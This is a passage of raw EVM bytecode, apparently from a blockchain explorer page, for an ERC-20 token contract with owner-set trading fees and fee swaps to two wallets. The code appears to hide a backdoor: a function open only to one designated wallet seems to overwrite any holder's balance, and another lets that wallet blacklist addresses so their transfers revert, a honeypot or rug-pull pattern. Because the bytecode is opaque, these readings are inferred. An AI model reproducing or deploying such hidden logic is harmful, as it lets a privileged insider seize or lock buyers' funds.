ffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1d57600080fd5b5b50565b60096020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b601660159054906101000a900460ff1681565b600e5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610e0190612e9b565b80601f0160208091040260200160405190810160405280929190818152602001828054610e2d90612e9b565b8015610e7a5780601f10610e4f57610100808354040283529160200191610e7a565b820191906000526020600020905b815481529060010190602001808311610e5d57829003601f168201915b5050505050905090565b6000601454905090565b610e966114f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a90612b5f565b60405180910390fd5b81600c8190555080600d81905550610f48600d54600c5461149290919063ffffffff16565b6011819055505050565b60125481565b600f5481565b6000610f72610f6b6114f0565b84846116c3565b506001905092915050565b6000610f896001610cb2565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546004610fd59190612d2b565b610fde83610d7a565b6005610fea9190612d2b565b84610ff59190612ca4565b610fff9190612d85565b905080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600b5481565b6110586114f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dc90612b5f565b60405180910390fd5b80601660156101000a81548160ff02191690831515021790555050565b600a5481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b600d5481565b6111426114f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c690612b5f565b60405180910390fd5b81600a8190555080600b819055506111f4600b54600a5461149290919063ffffffff16565b6010819055505050565b60145481565b61120e6001610cb2565b60005b828290508110156112ad57836009600085858581811061123457611233612fa3565b5b9050602002016020810190611249919061259b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112a590612ecd565b915050611211565b50505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60105481565b6113486114f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cc90612b5f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60008082846114a19190612ca4565b9050838110156114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dd90612b1f565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90612b9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cf90612aff565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116b69190612bbf565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611734576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172b90612b7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b90612adf565b60405180910390fd5b601660149054906101000a900460ff16156117cb576117c4848484611b36565b9050611acb565b60006117d630610d7a565b9050600060145482101590508080156117fc5750601660149054906101000a900460ff16155b80156118525750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186a5750601660159054906101000a900460ff165b156118795761187882611d09565b5b6118cb84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0f90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119b15750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6119c5576119c0878787611e59565b6119c7565b845b9050611a1b81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149290919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611abb9190612bbf565b60405180910390a3600193505050505b9392505050565b6000838311158290611b1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b119190612abd565b60405180910390fd5b5060008385611b299190612d85565b9050809150509392505050565b6000611bc1826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad29092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149290919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cf69190612bbf565b60405180910390a3600190509392505050565b6001601660146101000a81548160ff0219169083151502179055506000819050611d3281612129565b6000479050600060125490506000611d6782611d59600f548661237e90919063ffffffff16565b6123f990919063ffffffff16565b90506000611d7e8285611e0f90919063ffffffff16565b90506000811115611db657611db5600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612443565b5b6000821115611dec57611deb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612443565b5b50505050506000601660146101000a81548160ff02191690831515021790555050565b6000611e5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ad2565b905092915050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611f0957600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f0857600080fd5b5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f8a57611f836064611f756010548661237e90919063ffffffff16565b6123f990919063ffffffff16565b9050612008565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612007576120046064611ff66011548661237e90919063ffffffff16565b6123f990919063ffffffff16565b90505b5b600081111561210c5761206381600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149290919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121039190612bbf565b60405180910390a35b61211f8184611e0f90919063ffffffff16565b9150509392505050565b6000600267ffffffffffffffff81111561214657612145612fd2565b5b6040519080825280602002602001820160405280156121745781602001602082028036833780820191505090505b509050308160008151811061218c5761218b612fa3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561222e57600080fd5b505afa158015612242573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061226691906125c8565b8160018151811061227a57612279612fa3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122e130601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114f8565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612345959493929190612bda565b600060405180830381600087803b15801561235f57600080fd5b505af1925050508015612370575060015b6123795761237a565b5b5050565b60008083141561239157600090506123f3565b6000828461239f9190612d2b565b90508284826123ae9190612cfa565b146123ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e590612b3f565b60405180910390fd5b809150505b92915050565b600061243b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061248e565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612489573d6000803e3d6000fd5b505050565b600080831182906124d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124cc9190612abd565b60405180910390fd5b50600083856124e49190612cfa565b9050809150509392505050565b60008135905061250081613208565b92915050565b60008151905061251581613208565b92915050565b60008083601f84011261253157612530613006565b5b8235905067ffffffffffffffff81111561254e5761254d613001565b5b60208301915083602082028301111561256a5761256961300b565b5b9250929050565b6000813590506125808161321f565b92915050565b60008135905061259581613236565b92915050565b6000602082840312156125b1576125b0613015565b5b60006125bf848285016124f1565b91505092915050565b6000602082840312156125de576125dd613015565b5b60006125ec84828501612506565b91505092915050565b6000806040838503121561260c5761260b613015565b5b600061261a858286016124f1565b925050602061262b858286016124f1565b9150509250929050565b60008060006060848603121561264e5761264d613015565b5b600061265c868287016124f1565b935050602061266d868287016124f1565b925050604061267e86828701612586565b9150509250925092565b6000806040838503121561269f5761269e613015565b5b60006126ad858286016124f1565b92505060206126be85828601612586565b9150509250929050565b6000806000604084860312156126e1576126e0613015565b5b600084013567ffffffffffffffff8111156126ff576126fe613010565b5b61270b8682870161251b565b9350935050602061271e86828701612571565b9150509250925092565b60006020828403121561273e5761273d613015565b5b600061274c84828501612571565b91505092915050565b60008060006040848603121561276e5761276d613015565b5b600061277c86828701612571565b935050602084013567ffffffffffffffff81111561279d5761279c613010565b5b6127a98682870161251b565b92509250509250925092565b600080604083850312156127cc576127cb613015565b5b60006127da85828601612586565b92505060206127eb858286016124f1565b9150509250929050565b6000806040838503121561280c5761280b613015565b5b600061281a85828601612586565b925050602061282b85828601612586565b9150509250929050565b6000612841838361285c565b60208301905092915050565b61285681612dcb565b82525050565b61286581612db9565b82525050565b61287481612db9565b82525050565b600061288582612c5f565b61288f8185612c82565b935061289a83612c4f565b8060005b838110156128cb5781516128b28882612835565b97506128bd83612c75565b92505060018101905061289e565b5085935050505092915050565b6128e181612ddd565b82525050565b6128f081612e20565b82525050565b6128ff81612e32565b82525050565b600061291082612c6a565b61291a8185612c93565b935061292a818560208601612e68565b6129338161301a565b840191505092915050565b600061294b602383612c93565b91506129568261302b565b604082019050919050565b600061296e602283612c93565b91506129798261307a565b604082019050919050565b6000612991601b83612c93565b915061299c826130c9565b602082019050919050565b60006129b4602183612c93565b91506129bf826130f2565b604082019050919050565b60006129d7602083612c93565b91506129e282613141565b602082019050919050565b60006129fa602583612c93565b9150612a058261316a565b604082019050919050565b6000612a1d602483612c93565b9150612a28826131b9565b604082019050919050565b612a3c81612e09565b82525050565b612a4b81612e13565b82525050565b6000602082019050612a66600083018461286b565b92915050565b6000602082019050612a81600083018461284d565b92915050565b6000602082019050612a9c60008301846128d8565b92915050565b6000602082019050612ab760008301846128e7565b92915050565b60006020820190508181036000830152612ad78184612905565b905092915050565b60006020820190508181036000830152612af88161293e565b9050919050565b60006020820190508181036000830152612b1881612961565b9050919050565b60006020820190508181036000830152612b3881612984565b9050919050565b60006020820190508181036000830152612b58816129a7565b9050919050565b60006020820190508181036000830152612b78816129ca565b9050919050565b60006020820190508181036000830152612b98816129ed565b9050919050565b60006020820190508181036000830152612bb881612a10565b9050919050565b6000602082019050612bd46000830184612a33565b92915050565b600060a082019050612bef6000830188612a33565b612bfc60208301876128f6565b8181036040830152612c0e818661287a565b9050612c1d606083018561286b565b612c2a6080830184612a33565b9695505050505050565b6000602082019050612c496000830184612a42565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612caf82612e09565b9150612cba83612e09565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612cef57612cee612f16565b5b828201905092915050565b6000612d0582612e09565b9150612d1083612e09565b925082612d2057612d1f612f45565b5b828204905092915050565b6000612d3682612e09565b9150612d4183612e09565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d7a57612d79612f16565b5b828202905092915050565b6000612d9082612e09565b9150612d9b83612e09565b925082821015612dae57612dad612f16565b5b828203905092915050565b6000612dc482612de9565b9050919050565b6000612dd682612de9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e2b82612e44565b9050919050565b6000612e3d82612e09565b9050919050565b6000612e4f82612e56565b9050919050565b6000612e6182612de9565b9050919050565b60005b83811015612e86578082015181840152602081019050612e6b565b83811115612e95576000848401525b50505050565b60006002820490506001821680612eb357607f821691505b60208210811415612ec757612ec6612f74565b5b50919050565b6000612ed882612e09565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f0b57612f0a612f16565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61321181612db9565b811461321c57600080fd5b50565b61322881612ddd565b811461323357600080fd5b50565b61323f81612e09565b811461324a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220acfd7b743f8533acb37dc45532eb337f474cd11587bf30a66363357c1dee71b964736f6c63430008070033

Deployed Bytecode

0x6080604052600436106102295760003560e01c806395d89b4111610123578063c5d24189116100ab578063d2d7ad831161006f578063d2d7ad8314610832578063d4f2fe3c1461085d578063dd62ed3e14610886578063f0cd1dac146108c3578063f2fde38b146108ee57610230565b8063c5d241891461075d578063c816841b14610788578063c8607952146107b3578063cab03471146107de578063d0f0c57c1461080957610230565b8063a83f53a7116100f2578063a83f53a714610678578063a9059cbb146106a3578063c3241855146106e0578063c469b6dd14610709578063c49b9a801461073457610230565b806395d89b41146105ce578063a073d37f146105f9578063a0821ee514610624578063a08e671f1461064d57610230565b8063313ce567116101b15780634a74bb02116101755780634a74bb02146104e557806361a23c691461051057806370a082311461053b57806382eefb43146105785780638da5cb5b146105a357610230565b8063313ce567146103da5780633345611e1461040557806334db328f146104425780633714c6ab1461046b5780633ecad271146104a857610230565b80631245e347116101f85780631245e347146102f15780631694505e1461031c57806318160ddd1461034757806323b872dd1461037257806327c8f835146103af57610230565b806306fdde0314610235578063081f0e9a14610260578063095ea7b3146102895780631007663b146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a610917565b6040516102579190612abd565b60405180910390f35b34801561026c57600080fd5b50610287600480360381019061028291906126c8565b6109a9565b005b34801561029557600080fd5b506102b060048036038101906102ab9190612688565b610ae3565b6040516102bd9190612a87565b60405180910390f35b3480156102d257600080fd5b506102db610b01565b6040516102e89190612a6c565b60405180910390f35b3480156102fd57600080fd5b50610306610b27565b6040516103139190612a6c565b60405180910390f35b34801561032857600080fd5b50610331610b4d565b60405161033e9190612aa2565b60405180910390f35b34801561035357600080fd5b5061035c610b73565b6040516103699190612bbf565b60405180910390f35b34801561037e57600080fd5b5061039960048036038101906103949190612635565b610b7d565b6040516103a69190612a87565b60405180910390f35b3480156103bb57600080fd5b506103c4610c57565b6040516103d19190612a51565b60405180910390f35b3480156103e657600080fd5b506103ef610c7b565b6040516103fc9190612c34565b60405180910390f35b34801561041157600080fd5b5061042c6004803603810190610427919061259b565b610c92565b6040516104399190612a87565b60405180910390f35b34801561044e57600080fd5b5061046960048036038101906104649190612728565b610cb2565b005b34801561047757600080fd5b50610492600480360381019061048d919061259b565b610d21565b60405161049f9190612a87565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca919061259b565b610d41565b6040516104dc9190612a87565b60405180910390f35b3480156104f157600080fd5b506104fa610d61565b6040516105079190612a87565b60405180910390f35b34801561051c57600080fd5b50610525610d74565b6040516105329190612bbf565b60405180910390f35b34801561054757600080fd5b50610562600480360381019061055d919061259b565b610d7a565b60405161056f9190612bbf565b60405180910390f35b34801561058457600080fd5b5061058d610dc3565b60405161059a9190612bbf565b60405180910390f35b3480156105af57600080fd5b506105b8610dc9565b6040516105c59190612a51565b60405180910390f35b3480156105da57600080fd5b506105e3610df2565b6040516105f09190612abd565b60405180910390f35b34801561060557600080fd5b5061060e610e84565b60405161061b9190612bbf565b60405180910390f35b34801561063057600080fd5b5061064b600480360381019061064691906127f5565b610e8e565b005b34801561065957600080fd5b50610662610f52565b60405161066f9190612bbf565b60405180910390f35b34801561068457600080fd5b5061068d610f58565b60405161069a9190612bbf565b60405180910390f35b3480156106af57600080fd5b506106ca60048036038101906106c59190612688565b610f5e565b6040516106d79190612a87565b60405180910390f35b3480156106ec57600080fd5b50610707600480360381019061070291906127b5565b610f7d565b005b34801561071557600080fd5b5061071e61104a565b60405161072b9190612bbf565b60405180910390f35b34801561074057600080fd5b5061075b60048036038101906107569190612728565b611050565b005b34801561076957600080fd5b50610772611102565b60405161077f9190612bbf565b60405180910390f35b34801561079457600080fd5b5061079d611108565b6040516107aa9190612a51565b60405180910390f35b3480156107bf57600080fd5b506107c861112e565b6040516107d59190612bbf565b60405180910390f35b3480156107ea57600080fd5b506107f3611134565b6040516108009190612bbf565b60405180910390f35b34801561081557600080fd5b50610830600480360381019061082b91906127f5565b61113a565b005b34801561083e57600080fd5b506108476111fe565b6040516108549190612bbf565b60405180910390f35b34801561086957600080fd5b50610884600480360381019061087f9190612755565b611204565b005b34801561089257600080fd5b506108ad60048036038101906108a891906125f5565b6112b3565b6040516108ba9190612bbf565b60405180910390f35b3480156108cf57600080fd5b506108d861133a565b6040516108e59190612bbf565b60405180910390f35b3480156108fa57600080fd5b506109156004803603810190610910919061259b565b611340565b005b60606001805461092690612e9b565b80601f016020809104026020016040519081016040528092919081815260200182805461095290612e9b565b801561099f5780601f106109745761010080835404028352916020019161099f565b820191906000526020600020905b81548152906001019060200180831161098257829003601f168201915b5050505050905090565b6109b16114f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3590612b5f565b60405180910390fd5b60005b83839050811015610add578160076000868685818110610a6457610a63612fa3565b5b9050602002016020810190610a79919061259b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad590612ecd565b915050610a41565b50505050565b6000610af7610af06114f0565b84846114f8565b6001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601354905090565b6000610b8a8484846116c3565b50610c4c84610b976114f0565b610c478560405180606001604052806028815260200161324e60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bfd6114f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad29092919063ffffffff16565b6114f8565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b80610cbc57610d1e565b610cc46114f0565b73ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1d57600080fd5b5b50565b60096020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b601660159054906101000a900460ff1681565b600e5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610e0190612e9b565b80601f0160208091040260200160405190810160405280929190818152602001828054610e2d90612e9b565b8015610e7a5780601f10610e4f57610100808354040283529160200191610e7a565b820191906000526020600020905b815481529060010190602001808311610e5d57829003601f168201915b5050505050905090565b6000601454905090565b610e966114f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a90612b5f565b60405180910390fd5b81600c8190555080600d81905550610f48600d54600c5461149290919063ffffffff16565b6011819055505050565b60125481565b600f5481565b6000610f72610f6b6114f0565b84846116c3565b506001905092915050565b6000610f896001610cb2565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546004610fd59190612d2b565b610fde83610d7a565b6005610fea9190612d2b565b84610ff59190612ca4565b610fff9190612d85565b905080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600b5481565b6110586114f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dc90612b5f565b60405180910390fd5b80601660156101000a81548160ff02191690831515021790555050565b600a5481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b600d5481565b6111426114f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c690612b5f565b60405180910390fd5b81600a8190555080600b819055506111f4600b54600a5461149290919063ffffffff16565b6010819055505050565b60145481565b61120e6001610cb2565b60005b828290508110156112ad57836009600085858581811061123457611233612fa3565b5b9050602002016020810190611249919061259b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112a590612ecd565b915050611211565b50505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60105481565b6113486114f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cc90612b5f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60008082846114a19190612ca4565b9050838110156114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dd90612b1f565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90612b9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cf90612aff565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116b69190612bbf565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611734576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172b90612b7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b90612adf565b60405180910390fd5b601660149054906101000a900460ff16156117cb576117c4848484611b36565b9050611acb565b60006117d630610d7a565b9050600060145482101590508080156117fc5750601660149054906101000a900460ff16155b80156118525750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186a5750601660159054906101000a900460ff165b156118795761187882611d09565b5b6118cb84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0f90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119b15750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6119c5576119c0878787611e59565b6119c7565b845b9050611a1b81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149290919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611abb9190612bbf565b60405180910390a3600193505050505b9392505050565b6000838311158290611b